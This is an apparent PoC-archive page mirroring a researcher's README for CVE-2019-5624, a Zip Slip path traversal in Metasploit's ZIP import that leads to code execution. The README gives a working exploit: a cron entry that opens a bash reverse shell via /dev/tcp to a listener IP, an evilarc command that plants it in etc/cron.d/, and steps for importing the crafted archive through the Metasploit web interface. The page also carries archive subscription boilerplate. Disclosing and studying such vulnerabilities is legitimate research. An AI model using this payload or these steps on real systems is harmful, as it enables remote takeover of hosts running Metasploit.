Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2019-5624 PoC — Rapid7 Metasploit Framework Zip Import Directory Traversal

Source
Associated Vulnerability
Title:Rapid7 Metasploit Framework Zip Import Directory Traversal (CVE-2019-5624)
Description:Rapid7 Metasploit Framework suffers from an instance of CWE-22, Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') in the Zip import function of Metasploit. Exploiting this vulnerability can allow an attacker to execute arbitrary code in Metasploit at the privilege level of the user running Metasploit. This issue affects: Rapid7 Metasploit Framework version 4.14.0 and prior versions.
Description
A proof of concept for Metasploit's CVE-2019-5624 vulnerability (Rubyzip insecure ZIP handling RCE) 
Readme
# CVE-2019-5624
A proof of concept for Metasploit's CVE-2019-5624 vulnerability (Rubyzip insecure ZIP handling RCE)

## Intro

In February 2019 I found a new vulnerability in the Rubyzip library. It allows an attacker to exploit insecure ZIP handling ([Zip Slip](https://snyk.io/research/zip-slip-vulnerability)) resulting in remote command execution.

This vulnerability was leveraged to targets all Metasploit versions < 5.0.18 [Metasploit Wrap-Up](https://blog.rapid7.com/2019/04/19/metasploit-wrap-up-13/)

I've made this detailed [blog post](https://voidsec.com/rubyzip-metasploit-bug/) explaining the vulnerability.

## POC

+ Create a file with the following content:
```
* * * * * root /bin/bash -c "exec /bin/bash0</dev/tcp/172.16.13.144/4444 1>&0 2>&0 0<&196;exec196<>/dev/tcp/172.16.13.144/4445; bash <&196 >&196 2>&196"
```
+ Generate the ZIP archive with the path traversal payload: 
```
python evilarc.py exploit --os unix -p etc/cron.d/
```
+ Add a valid MSF workspace to the ZIP file (in order to have MSF to extract it, otherwise it will refuse to process the ZIP archive)
+ Setup two listeners, one on port 4444 and the other on port 4445 (the one on port 4445 will get the reverse shell)
+ Login in the MSF Web Interface
+ Create a new “Project”
+ Select “Import”, “From file”, chose the evil ZIP file and finally click the “Import” button
+ Wait for the import process to finish
+ Enjoy your reverse shell

## Video
[![](http://img.youtube.com/vi/79Dl-Ylu6Ig/0.jpg)](http://www.youtube.com/watch?v=79Dl-Ylu6Ig "https://voidsec.com/wp-content/uploads/2019/04/metasploit-og-463x348.png")
File Snapshot

[4.0K] /data/pocs/dbec60fd43f5dcf69848ddfac815f398faa8d40f └── [1.6K] README.md 0 directories, 1 file
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →